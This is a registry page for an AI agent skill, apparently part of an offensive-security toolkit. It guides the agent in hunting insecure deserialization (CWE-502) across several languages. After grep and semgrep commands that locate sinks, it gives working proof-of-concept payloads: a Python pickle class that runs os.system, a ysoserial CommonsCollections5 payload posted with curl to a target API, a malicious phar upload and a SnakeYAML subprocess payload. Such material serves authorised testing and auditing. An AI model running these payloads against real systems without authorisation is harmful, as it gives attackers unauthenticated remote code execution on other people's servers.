Hunt insecure deserialization (CWE-502) across Python pickle, Java ObjectInputStream / Jackson / SnakeYAML, .NET BinaryFormatter / DataContractJson, PHP unserialize, Ruby Marshal/YAML.load, and Node.js vm. Direct path to unauthenticated RCE.
65
78%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/analyst/deserialization/SKILL.mdDeserialization is the single most reliable path from a byte string under user control to unauthenticated remote code execution. Modern frameworks have tried to wall this off, but chained-gadget attacks (ysoserial, ysoserial.net, marshalsec, phpggc) still make this a top-tier finding.
pickle.loads / pickle.load / pickle.Unpicklerdill.loads, cloudpickle.loads, shelve.openyaml.load() without Loader=SafeLoaderjsonpickle.decodenumpy.load(allow_pickle=True)torch.load (loads pickled tensors → RCE)joblib.loadmarshal.loadsgrep -rE 'pickle\.loads?\(|yaml\.load\([^)]*Loader=(FullLoader|Loader)?\)|torch\.load\(' /workspace/src
semgrep --config p/insecure-transport --config p/python /workspace/src -o /workspace/sem-deser.sarifObjectInputStream.readObjectXMLDecoder.readObjectJackson ObjectMapper with default typing + polymorphic typesSnakeYAML Yaml.load() (before 2.0) — RCE via !!javax.script.ScriptEngineManagerXStream without whitelistHessian, Kryo with registration disabledGadgets: ysoserial payloads (CommonsCollections, Spring, Groovy, C3P0)
BinaryFormatter.Deserialize (deprecated but still common)SoapFormatter, LosFormatter, ObjectStateFormatterJavaScriptSerializer with SimpleTypeResolverJson.NET with TypeNameHandling != Noneunserialize() on any user inputfile_exists("phar://upload.phar") triggers deserdecrypt() → unserialize (pre-patched APP_KEY leak chain)Marshal.loadYAML.load (before Psych 4 safe default)Oj.load without mode: :railsnode-serialize unserialize()serialize-to-js deserialize()vm.runInNewContext(userInput) — not technically deser but same impactA sink is only exploitable if the right gadget classes are on the classpath. Check the lockfile / vendored deps for known gadget-rich libraries:
# Java
find /workspace/src -name 'pom.xml' -exec grep -lE 'commons-collections|spring-beans|xalan|bcel|commons-beanutils' {} +
# Python
grep -rE 'torch|numpy.*allow_pickle|jinja2' /workspace/src/requirements*.txt
# Node
jq '.dependencies | keys[]' /workspace/src/package.json | grep -E 'lodash|ejs|handlebars'.loads/.readObject/unserialize calls@RequestBody with default typing)exploitability="conditional" — the dep upgrade that
ships the gadget class is a time bomb.import pickle, base64, os
class E:
def __reduce__(self): return (os.system, ("id > /tmp/pwn",))
print(base64.b64encode(pickle.dumps(E())).decode())Send as cookie/body; success = /tmp/pwn present or command output reflected.
java -jar ysoserial.jar CommonsCollections5 'touch /tmp/pwn' | base64 -w0
curl -X POST https://target.com/api/import -H "Content-Type: application/x-java-serialized-object" --data-binary @payload.setphp -d phar.readonly=0 build-phar.php
curl -F 'file=@evil.phar' https://target.com/upload
# Trigger: any filesystem call on phar:// wrapper!!python/object/new:subprocess.check_output [["id"]]All unauthenticated deser → RCE are 10.0 critical:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Authenticated deser: drop PR to L → 9.9.
validate_finding(
vuln_id=...,
poc_command="curl -X POST https://target.com/api/import --data-binary @payload.bin",
success_patterns="uid=0|root@|pwned|/tmp/pwn",
negative_command="curl -X POST https://target.com/api/import --data 'benign'",
negative_patterns="200|accepted",
cvss_vector="CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
)0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.